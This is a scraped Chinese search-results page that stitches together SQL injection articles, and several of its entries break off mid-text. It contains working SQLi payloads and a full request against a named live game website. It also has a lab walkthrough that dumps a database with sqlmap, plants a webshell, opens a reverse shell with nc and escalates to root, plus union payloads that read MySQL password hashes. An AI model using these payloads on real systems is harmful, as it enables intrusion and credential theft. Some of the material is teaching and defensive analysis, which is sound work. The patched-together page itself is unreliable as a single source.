精华内容
下载资源
问答
  • SQL注入01】SQL注入漏洞简介、原理及类型
    2022-02-17 11:39:42

    1 SQL注入简介

    1.1 SQL注入概述

    1. 定义:SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
    2. 动态SQL语句:一般情况下,开发人员可以使用动态SQL 语句创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,它根据不同的条件产生不同的SQL 语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如select语句),或者根据不同的条件选择不同的查询表时,动态地构造SQL语句会非常有用。
    3. 下面以PHP语句为例。由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。
    $query =SELECT * FROM users WHERE id= $_GET['id']";
    

    1.2 SQL注入原理

    1. 目前,大多数Web编程语言提供了操作SQL的接口,以方便与数据库进行交互。但是在开发Web应用的过程中,由于忽视了代码的健壮性和安全性,攻击者可以构造巧妙的SQL语句从而获取到敏感数据,因此导致了SQL这种攻击方式的流行。
    2. SQL 注入漏洞的产生需要满足以下两个条件:
      • 参数用户可控:前端传给后端的参数内容是用户可以控制的。
      • 参数带入数据库查询: 传入的参数拼接到SQL吾句,且带入数据库查询。

    1.3 SQL注入漏洞的危害

    1. 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
    2. 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
    3. 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
    4. 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

    2 SQL注入漏洞分类

    2.1 注入位置分类

    根据SQL注入漏洞原理,在用户“可控参数”中注入SQL语法,也就是说WEB应用在获取用户数据的地方,只要带入数据库查询,都有可能存在注入,这些地方通常包括:

    • GET 数据
    • POST 数据
    • http请求头参数注入
      • HTTP Referer:是header的一部分,当浏览器请求网页时,会自动携带一个请求来源,如果后端存在交互,则会引发注入问题的产生。
      • User-Agent 请求头,该请求头携带的是用户浏览器的标识信息,如果此时带入数据库查询,则同样会触发注入问题的产生。
      • X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中
      • Cookie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
      • X-Real-IP:只记录真实发出请求的客户端IP。
      • Accept-Language:请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言
      • HTTP_CLIENT_IP:该属性是PHP内置属性,同样取得的是客户端的IP,同样可控,如果带入数据库,则会产生注入问题。
    • ……

    2.2 注入数据类型分类

    从数据类型分类来看,SQL注入分为数字型和字符型。

    • 数字型注入:注入点的数据拼接到SQL语句中是以数字型出现的,数据两边没有单引号、双引号括起来。
    • 字符型注入:注入点的数据两边有单引号、双引号括起来。

    2.3 注入手法分类

    • union联合查询注入
      union查询注入是最基础的注入。在SQL中, UNION 操作符用于合并两个或多个 SELECT 语句的结果。union 查询注入利用 UNION 关键字可以追加一条或者多条额外的 SELECT 查询,并将结果追加到原始查询中。
    • 盲注
      盲注指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。主要分为布尔盲注与基于时间的盲注。
    • 报错注入
      黑客攻击时常根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。
    • 堆叠查询注入
      堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新的查询或者终止查询,可以达到修改数据和调用存储过程的目的。
    • 二次注入
      在将数据(一次注入的)存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
    • 宽字节注入
      在使用PHP连接MySQL的时候,当设置“set character_set_client = gbk”时会导致一个编码转换的问题,这就是常说的宽字节注入。
    • base64注入
      base64注入是针对传递的参数被base64加密后的注入点进行注入。除了数据被加密以外,其中注入方式与常规注入一般无二。

    3 SQL知识基础

    为了更好地进行SQL注入,需要对SQL有所了解,在之前专栏学过的SQL基础语句后,此处对与SQL注入相关性较大的知识做一个温习。

    3.1 MySQL 元数据库 information_schema 内容简介

    information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

    在该数据库中,有三个表对SQL注入帮助较大,分别是schemata表、tables表、和columns表。.

    • schemata:记录当前 mysql 中所有数据库的信息。该表中字段名SCHEMA_NAME记录着所有数据库的名字。
    • tables:存储 mysql 中的所有表的信息。该表主要字段名如下:
      • TABLE_SCHEMA:记录该表属于哪个数据库。
      • TABLE_NAME:记录该表的名字。
    • colunms:存储 mysql 中所有字段信息。该表主要字段名如下:
      • TABLE_SCHEMA:记录该字段名属于哪个数据库。
      • TABLE_NAME:记录该字段属于哪个表。
      • COLUMN_NAME:记录该字段名。

    3.2 MySQL 常用参数

    可以利用select语句加上下列常用参数,来查询所需要的信息。比如select 1 <>2数据库将返回1,又比如select version()数据库将返回版本号 。常用参数如下,更多参数、运算符、函数参考文章《SQL常用运算符、通配符及参数》《SQL常用函数简要解析

    参数名用途
    version()返回当前数据库软件版本
    database()返回当前数据库名
    user()返回用户名
    current_user()返回当前用户名
    system_user()返回系统用户名
    @@datadir返回数据库路径
    @@version_compile_os返回操作系统版本

    4 总结

    1. 了解SQL注入漏洞的概念和危害;
    2. 理解SQL注入漏洞产生的两个条件;
    3. 了解SQL注入分类方式;
    4. 加深SQL和数据库相关知识的理解。

    参考文献

    1. 常见sql注入的类型
    2. SQL注入及其危害、防御手段
    3. 十种MySQL报错注入
    4. MySQL盲注:基于时间延迟注入9种方法
    5. SQL注入-堆叠注入(堆查询注入)
    6. MySQL 中的 information_schema 数据库
    更多相关内容
  • SQL注入漏洞提交报告(示例)

    千次阅读 2022-04-01 18:27:09
    一、详细说明: 危害说明:攻击者可以使用 SQL 注入绕过 Web ...burp抓包分析可知图为sql注入位置 下图可证明存在SQL注入漏洞 二、漏洞复现辅助信息: 漏洞URL:https://jl.175game.com/index.php/guide/index/i

    一、详细说明:

    危害说明:攻击者可以使用 SQL 注入绕过 Web 应用程序的身份验证和授权机制,并检索整个数据库的内容。SQLi 还可用于添加、修改和删除数据库中的记录,从而影响数据完整性。在适当的情况下,攻击者还可以使用 SQLi 来执行操作系统命令,然后可以使用这些命令进一步升级攻击。
    测试步骤:
    burp抓包分析可知图为sql注入位置
    在这里插入图片描述

    下图可证明存在SQL注入漏洞
    在这里插入图片描述

    二、漏洞复现辅助信息:

    1. 漏洞URL:https://jl.175game.com/index.php/guide/index/id/if(now()=sysdate(),sleep(6),0).html%20HTTP/1.1

    2. 功能入口:
      如下图所示:
      在这里插入图片描述

    3. 漏洞复现所需的HTTP报文(代码块格式):
      GET /index.php/guide/index/id/if(now()=sysdate(),sleep(6),0).html HTTP/1.1 X-Requested-With: XMLHttpRequest Referer: https://jl.175game.com/ Cookie: PHPSESSID=u89g09f0topvo8da98cq8h5gq7; think_template=black Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4298.0 Safari/537.36 Host: jl.175game.com Connection: Keep-alive
      三、漏洞证明:sleep(6) 延时了6秒
      在这里插入图片描述

    展开全文
  • 面对Web网站存在的种种安全漏洞问题,文章通过对大量SQL注入攻击报文的攻击特征进行总结分析,结合SQL注入攻击的攻击特征和攻击原理,提出了一种基于通用规则的SQL注入攻击检测与防御的方法,并利用SQL注入检测工具...
  • SQL注入POST参数-注入HTTP报文

    千次阅读 2019-12-22 17:00:26
    1、SQL注入漏洞介绍 SQL注入攻击指的是通过特殊的输入作为参数拆入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句中进而执行攻击者所要的操作,起主要原因是程序没有细致地过滤用户输入的数据...

    1、SQL注入漏洞介绍

    SQL注入攻击指的是通过特殊的输入作为参数拆入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句中进而执行攻击者所要的操作,起主要原因是程序没有细致地过滤用户输入的数据,致使非法数据入侵系统。

    任何一个用户可以输入的位置都可能是注入点。比如url中,以及http报文中,POST传递的参数;

    实验环境
    攻击机:10.0.2.11
    靶场机器:10.0.2.10

    2、信息探测

    扫描主机开放的全部端口

    –nmap -T4 -p- 靶场IP地址

    在这里插入图片描述

    快速扫描主机全部信息

    –nmap -T4 -A -V 靶场IP地址

    在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

    我们可以发现80端口和8080端口开放的http服务

    探测敏感信息

    –nikto -host http://靶场IP地址:端口

    –dirb http://靶场IP地址:端口

    分析扫描的结果80端口

    在这里插入图片描述

    打开我们发现了一个登录界面

    在这里插入图片描述

    3、漏洞扫描

    漏洞扫描器Owasp-zap

    先对默认的80端口进行探测

    在这里插入图片描述

    未发现高危漏洞

    在这里插入图片描述

    接着扫描8080端口

    扫描8080端口

    也未发现高危漏洞

    在这里插入图片描述

    对登录界面我们想到该页面是否具有对应的SQL注入,可以使我们注入到系统库当中,获取对应的数据

    4、漏洞利用

    针对web进行漏洞扫描

    对扫描的结果进行分析。注意如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。但扫描结果也不一定正确。

    使用sqlmap利用SQL注入漏洞

    使用Burpsuite来抓取数据包
    在浏览器设置代理为8081端口

    在这里插入图片描述在这里插入图片描述在这里插入图片描述

    复制返回的数据包

    在这里插入图片描述

    粘贴数据包进行注入

    –sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql --batch

    request.raw抓取的数据包头,level 5最高水平,risk 3最高风险,用Mysql的数据库dbms,batch为不再询问,自动补齐。

    在这里插入图片描述
    在这里插入图片描述

    –sqlmap -r request.raw --level 5 --risk 3 -D “数据库名” --tables 查看对应数据库中的数据表 --batch

    在这里插入图片描述
    在这里插入图片描述

    –sqlmap -r request.raw --level 5 --risk 3 -D “数据库名” -T “表名” --columns 查看对应字段 --batch在这里插入图片描述

    在这里插入图片描述

    –sqlmap -r request.raw --level 5 --risk 3 -D “数据库名” -T “表名” -C “列名” --dump --batch在这里插入图片描述

    在这里插入图片描述

    打开http://192.168.1.109:8080/wordpress/wp-login.php,进入登陆页面

    5、上传webshell获得控制权

    wordpress后台寻找上传点

    –主题的404.php可以上传webshell

    –webshell 获取/usl/share/webshell.php/

    在这里插入图片描述

    修改对应的webshell,复制保存

    在这里插入图片描述

    上传webshell

    在这里插入图片描述

    执行shell,获取反弹shell。

    http://靶场IP地址:端口号/目录/wp-content/themes/主题名/404.php

    http://192.168.1.109:8080/wordpress/wp-content/themes/twentythirteen/404.php

    启动监听

    –nc -nlvp port

    在这里插入图片描述

    启动终端

    –python -c “import pty;pty.spawn(’/bin/bash’)”

    在这里插入图片描述

    6、root权限

    –使用 cat etc/shadow查看敏感文件

    –使用 cat etc/passwd查看敏感文件

    –使用 su - 提升root权限

    在提升权限的过程中发现需要密码我们尝试之前发现的用户名密码

    在这里插入图片描述

    最后成功登入

    在这里插入图片描述

    总结

    只要是用户可以输入的位置都是有可能存在注入点的;漏洞扫描器的扫描结果也不一定正确。

    展开全文
  • 我们知道代码审计Java的SQL注入主要有两点:参数可控和SQL语句可拼接(没有预编译)。并且我们也清楚修复SQL注入的方式就是预编译,但是可能我们并不清晰内部预编译的具体实现。本文主要从代码层面深入分析三种Java...

    0x00 前言

    我们知道代码审计Java的SQL注入主要有两点:参数可控和SQL语句可拼接(没有预编译)。并且我们也清楚修复SQL注入的方式就是预编译,但是可能我们并不清晰内部预编译的具体实现。本文主要从代码层面深入分析三种Java不同数据库框架下的SQL注入以及预编译。

    0x01 JDBC SQLi

    不使用占位符拼接情况分析

    Statement statement = connection.createStatement();
    String sql = "select * from user where id=" + value;
    ResultSet resultSet = statement.executeQuery(sql);
    

    不使用占位符时,输入的内容和sql拼接形成最终的sql语句:

    image.png

    预编译情况:

    String sql = "select * from user where id=?";
    PreparedStatement preparedStatement = connection.prepareStatement(sql);
    preparedStatement.setString(1,value);
    ResultSet resultSet = preparedStatement.executeQuery();
    

    预编译会在传入的字符串前后添加',然后再进行拼接,保证了输入的字符串在SQL语句中是数值而不是关键字。

    image.png

    最终在执行的时候select * from user where id='2 and 1=2 union select * from user'

    image.png

    到这里我们肯定会想就算在两边加了',也可以在value中添加'来闭合绕过:

    2' and 1=2 union select * from user where '1'='1

    然而事实并非那么简单,JDBC在ClientPreparedQueryBindings.setString()中对一些特殊符号包括'做了转义处理,因此预编译可以防止SQL注入:

    image.png

    【一>所有资源获取<一】
    1、200份很多已经买不到的绝版电子书
    2、30G安全大厂内部的视频资料
    3、100份src文档
    4、常见安全面试题
    5、ctf大赛经典题目解析
    6、全套工具包
    7、应急响应笔记
    8、网络安全学习路线

    0x02 Mybatis SQLi

    Mybatis解析执行过程

    Mybatis解析执行过程如下图:

    image.png

    以查询SQL分析,主要步骤如下:

    1. SqlSession创建过程:SqlSessionFactoryBuilder().build(inputStream)创建一个SqlSession,创建的时候会进行配置文件解析生成Configuration属性实例,解析时会将mapper解析成MapperStatement加到Configuration中,MapperStatement是执行SQL的必要准备,SqlSource是MapperStatement的属性,实例化前会先创建动态和非动态SqlSource即DynamicSqlSource和RawSqlSource,DynamicSqlSource对应解析$以及动态标签如foreach,RawSqlSource创建时解析#并将#{}换成占位符?

    2. 执行准备过程:DefaultSqlSession.selectOne()执行sql(如果是从接口getMapper方式执行,首先会从MapperProxy动态代理获取DefaultSqlSession执行方法selectxxx|update|delete|insert),首先从Configuration获取MapperStatement,执行executor.query()。executor执行的第一步会先通过MapperStatement.getBoundSql()获取SQL,此时如果MapperStatement.SqlSource是动态即DynamicSqlSource,会先解析其中的动态标签比如${}会换成具体传入的参数值进行拼接,获取到SQL之后调用executor.doQuery(),如果存在预编译首先会调用JDBC处理预编译的SQL,最终通过PreparedStatementHandler调用JDBC执行SQL;

    3. JDBC执行SQL并返回结果集

    如下是mapper的select示例,第一个使用${id},第二个使用#{id},我们具体通过调试来看下#$这两种符号的解析和执行过程中的处理方式。

    <select id="getById" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
        SELECT * FROM user where id=${id}
    </select>
    <select id="getByIdPrepare" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
        SELECT * FROM user where id=#{id}
    </select>
    

    解析过程中$#的不同

    在解析StatementNode过程中创建SqlSource时,会调用XMLScriptBuilder.parseScriptNode()来生成动态和非动态SqlSource

    image.png

    深入分析XMLScriptBuilder.parseScriptNode(),先调用XMLScriptBuilder.parseDynamicTags()解析动态tag

    image.png

    在解析时会先通过TextSqlNode.isDynamic()判断是否存在动态标志

    image.png

    TextSqlNode.isDynamic()首先创建一个DynamicCheckerTokenParser用来解析动态标识符,调用createParser创建GenericTokenParser

    image.png

    createParser会返回一个${}标识符的标识符解析

    image.png

    $解析过程:

    继续下一步调用GenericTokenParser.parse()

    image.png

    GenericTokenParser.parse中找到了openhandler即${,会调用builder.append(handler.handleToken(expression.toString()))

    image.png

    handler.handleToken()将isDynamic标志为true

    image.png

    当isDynamic为true,会实例化一个DynamicSqlSource对象,至此$动态SqlSource创建完成。

    image.png

    image.png

    #解析过程:

    当SQL是SELECT * FROM user where id=#{id}的情况下调用isDynamic() ,进一步调用GenericTokenParser.parse()

    image.png

    GenericTokenParser.parse()中没有找到openhandler即${,就不会进入后面的处理,直接将原来的text进行返回,因此isDynamic还是false

    image.png

    返回后初始化一个RawSqlSource实例

    image.png

    在RawSqlSource初始化时会自动进行解析:

    image.png

    SqlSourceBuilder$ParameterMappingTokenHandler主要解析#{}的情况

    image.png

    #{id}替换成?进行占位,此时sql变成了SELECT * FROM user where id=?

    image.png

    image.png

    小结:在创建SqlSource时,会根据$及动态标签来创建DynamicSqlSource,DynamicSqlSource不会对${}进行具体的处理,而非动态情况会创建RawSqlSource,在其初始化过程会直接将#{}替换成?占位符。

    执行过程中$#的不同:

    $在执行过程中的解析:

    在调用MappedStatement.getBoundSql()时,由于$对应的是DynamicSqlSource,会调用DynamicSqlSource.getBoundSql()获取sql

    image.png

    DynamicSqlSource.getBoundSql()会调用rootSqlNode.apply()处理,此时调用的是TextSqlNode.apply()

    image.png

    TextSqlNode.apply()中会创建一个${}的GenericTokenParser然后进行parse解析和追加

    image.png

    在解析时,调用handler.handleToken()根据标识符获取参数的内容

    image.png

    handleToken()中会将参数值1 and 1=2 union select Host,User,1,authentication_string from mysql.user limit 1返回

    image.png

    拼接 最终获取的sql是SELECT * FROM user where id=1 and 1=2 union select Host,User,1,authentication_string from mysql.user limit 1

    image.png

    #在执行过程中的解析:

    $是在getBoundSql()获取sql过程中就将符号进行了处理,跟$不同的是,#是在执行器的执行过程中(本例是doQuery)进行处理,先通过调用SimpleExecutor.prepareStatement()处理预编译情况后,获取statement,然后调用JDBC执行

    image.png

    深入prepareStatement(),发现其最终通过动态代理调用ClientPreparedStatement.setString()

    image.png

    调用JDBCClientPreparedStatement.setString()处理过程跟上述0x01部分的JDBC预编译处理statement一样。

    image.png

    注入场景:

    除了上面的where,likeinorder by查询条件不能直接使用#{}会报错,因此在开发时可能会直接使用${}从而产生SQL注入漏洞:

    1、like:

    当mapper如下:

    <select id="getByLike" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
        SELECT * FROM user where name like '%${name}%'
    </select>
    

    调用时传入参数为wang%' and 1=2 union select Host,User,1,authentication_string from mysql.user where User like '%root时,绕过%'从而获取数据:

    image.png

    针对该场景可考虑以下形式修复:

    <select id="getByLikePrepare" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
        SELECT * FROM user where name like concat('%',#{name}, '%')
    </select>
    <select id="getByLikePrepare" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
        SELECT * FROM user where name like "%"#{name}"%"
    </select>
    

    2、in:

    当mapper如下:

    <select id="getByIn" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
        SELECT * FROM user where id in (${id})
    </select>
    

    调用时传入参数为0) and 1=2 union select Host,User,1,authentication_string from mysql.user where (1)=(1时,闭合)从而获取数据:

    image.png

    针对该场景可考虑以下形式修复,传入数组:

    <select id="getByInFix" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
        SELECT * FROM user where id in
        <foreach collection="array" item="id" index="index" open="(" close=")" separator=",">
            #{id}
        </foreach>
    </select>
    

    3、order by:

    当mapper如下:

    <select id="getByOrder" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
        SELECT * FROM user order by ${coln} asc
    </select>
    

    调用时传入参数为IF((select user())='root@localhost',id,name)时:

    image.png

    针对该场景可考虑以下形式修复:

    <select id="getByOrderFix" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
        SELECT * FROM user order by
        <choose>
            <when test="coln == 'id' or coln == 'name' or coln == 'password'">
                ${coln}
            </when>
            <otherwise>
                name
            </otherwise>
        </choose>
        asc
    </select>
    

    0x03 Hibernate SQLi

    Hibernate 属于全自动 ORM 映射工具,使用 Hibernate查询关联对象或者关联集合对象时,可以根据对象关系模型直接获取。Hibernate查询方式如下代码,其中的表名不能是元数据表,必须是实体类名,并且区分大小写,并且Hibernate不支持union联合查询。因此Hibernate的注入存在一定的局限性,不能像常规SQL注入一样利用。

    Query<User> query = session.createQuery("from User where name = '" + name + "'", User.class);
    

    上面代码采用拼接方式,当lisi' and user()='root@localhost,返回数据时证明user()='root@localhost',没有返回数据时证明user不是root,可以导致SQL注入:

    image.png

    当采用占位符预编译时:

    Query<User> query = session.createQuery("from User where name = :name", User.class);
    query.setParameter("name",name);
    User user = query.getSingleResult();
    

    image.png

    Loader.prepareQueryStatement()会调用QueryLoader.bindParameterValues来处理预编译情况

    image.png

    最终QueryLoader.bindParameterValues同样会调用JDBC的ClientPreparedStatement.setString()完成预编译来防止SQL注入

    image.png

    展开全文
  • 进入靶场,测试一下,输入and 1=1 ,提示操作被记录 数据被直接保存在数据库,可以考虑直接把一句话木马传上去 直接传,发现一句话木马没被传上去, 将木马进行url编码一下传入。 使用御剑查找后台。...
  • 和作用,掌握HTTP头部注入的原理、方法及基本流程。 实验原理 有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证 等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent. Accept...
  • CTF练习:SQL注入之post参数http报文注入环境准备信息收集http报文获取sqlmap注入上传shell脚本进入靶机 靶机地址: 链接: https://pan.baidu.com/s/1zNyLqsxhYxAsl77tTI6agA 提取码: 56kj 环境准备 开启两台机器,...
  • Web漏洞详解:SQL注入漏洞

    千次阅读 2022-04-20 21:39:10
    SQL注入漏洞,就是通过把SQL命令插入到URL地址、Web表单提交或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的SQL 命令。漏洞成因是程序没有对用户输入的内容进行安全检查,直接代入数据库进行查询,导致了...
  • 1.信息探测 #扫描主机开放的全部端口 nmap -T4 -p- 192.168.2.117 #扫描靶场全部信息 nmap -T4 -A -v 192.168.2.117 #探测敏感信息...总结 只要是用户可以输入的位置都是有可能存在注入点的 漏洞扫描器的结果不一定准确
  • sql注入与sqlmap全详细

    千次阅读 2021-12-25 11:53:46
    sql注入与sqlmap SQL注入危害: SQL注入分类: 1.基于注入点分类:get注入、post注入、cookie注入 2.基于变量数据类型: 字符型、数字型注入 3.基于获取数据类型方法: 基于回显(查询结果直接显现)、基于错误(由于...
  • XSS与SQL注入

    2020-12-15 18:03:49
    一、 XSS跨站脚本注入实验 实验环境搭建。 角色:留言簿网站。存在XSS漏洞;(IIS或Apache、guestbook搭建) 攻击者:Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站); 被攻击者:访问留言簿网站,...
  • 这估计大家也都发现了,测试SQL注入这种漏洞啊,又有WAF页面又没有明显的报错的情况下, 测试起来就是一个字,烦。 有waf: 我 and 1=1, 啪,它拦了。 我 order by, 啪,它拦了。 我 sleep(5), 啪,它拦了。 我...
  • [TOC]SQL注入所谓SQL注入,是将恶意SQL命令通过某种方式提交到服务器后台,并欺骗服务器执行这些恶意的SQL命令的一种攻击方式。 —— [ 百度百科 ] 造成SQL注入漏洞原因有两个:一个是没有对输入的数据进行过滤(过滤...
  • SQL注入认识

    2021-09-14 15:14:56
    SQL注入 漏洞原理 SQL注入原理 注入点可能存在的位置 SQL注入特点 SQL注入漏洞危害 SQL注入漏洞检测 SQL注入分类 根据注入点类型分类 根据数据提交方式分类 根据注入手法分类 MySQL数据库结构 SQL注入...
  • SQL注入漏洞测试背景介绍实训目标解题方向实验步骤 背景介绍 此WEB业务环境对参数进行了AES加密,为了防止参数产生SQL注入,也是防止SQL注入产生的一种方法,但是这种方式就安全了么? 实训目标 1、掌握信息泄露的...
  • sql注入入门--必懂知识点

    千次阅读 2021-11-08 19:38:35
    SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器...
  • SQL注入(P12-P19)

    千次阅读 2022-02-22 23:58:51
    sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。如果代码中没有过滤或者过滤不严谨是...
  • SQL注入靶场通关

    千次阅读 2022-03-21 20:01:37
    SQL注入靶场通关 SQL注入简介 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,...
  • sql注入总结--详细

    千次阅读 2021-11-19 01:36:10
    文章目录SQL注入总结1、原理2、数据库基础系统函数字符串连接函数mysql注释符union 操作符的介绍order by介绍字符串编码数据库结构导入导出相关操作增删改函数3、判断是否存在SQL注入4、回显注入(联合注入)查询字段...
  • sql注入判断 ?可以传递参数 sql数值型注入 1.判断注入点 ​ 数值型注入: ?id=1 and 1=1 , ?id=1 and 1=2 ​ 语句:select * from 表名 where id=1 and 1/2 2.猜字段数(二分法) ​ ?id=1 order by x 3.确定显示...
  • 1、WVS自动化SQL注入测试n 测试目的:测试网站是否存在SQL注入漏洞。n 测试用例:1) Scansettings选择sql injection策略;2) 输入扫描网站URL,一直下一步(如果需要登陆点击New Login Sqquence);3) 如果扫描结果如下...
  • sql注入漏洞

    千次阅读 2022-04-27 00:08:43
    SQL注入漏洞 文章目录SQL注入漏洞一、SQL注入原理实现注入攻击的两个关键条件(重点)二、SQL注入危害三、SQL注入防御四、SQL注入分类五、SQL注入流程流程细节六、手工注入实例1、判断是否存在SQL注入点2、判断注入...
  • SQL注入-SQLMAP进阶使用

    千次阅读 2022-02-23 19:04:57
    注入时,可以利用--technique参数指定SQLMAP使用的探测技术,B表示布尔盲注,T表示时间盲注(延迟注入)﹐E表示报错注入,U表示联合查询注入,S表示堆查询注入;利用-v参数指定显示等级,当取值大于等于3时,将显示...
  • 俗话说得好HTTP_REFERER注入1、漏洞编号CNVD-2017-120172、漏洞介绍优客365是一个基于 PHP+MYSQL 开发构建的开源网站分类目录管理系统,在 2.9 版本的首页 index.php 存在基于 HTTP-REFERER 字段的 SQL 注入漏洞,...
  • sql注入知识点

    2022-04-27 14:33:29
    ORDER BY Clause (Transact-SQL) - SQL Server | Microsoft DocsSELECT - ORDER BY Clause (Transact-SQL)https://docs.microsoft.com/en-us/sql/t-sql/queries/select-order-by-clause-transact-sql?view=...
  • SQL注入-SQLMAP基础使用

    千次阅读 2022-02-19 09:49:14
    本实验的目标是:以SQLi-Labs 网站的Less-4为入口,利用SQLMAP实施自动化SQL注入,获取 SQLi-Labs 网站的登录用户名和密码。 1.访问SQLi-Labs 网站 在攻击机 Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs...
  • sql注入绕过WAF小tips

    千次阅读 2021-05-01 10:18:25
    网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过,而绕过WAF前肯定需要对WAF的工作原理有一定的理解。 一. WAF分类...
  • web安全-SQL注入

    2022-03-16 15:27:12
    注入又分为:sql注入、xml注入、代码注入 sql注入例如mybatis使用#{}避免sql注入,xml注入使用excape或其他编码方式防止注入,代码注入例如提交一段js代码后台应用程序执行此JS代码,对抗代码注入,需要禁止使用eval...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,099
精华内容 3,239
关键字:

sql注入报文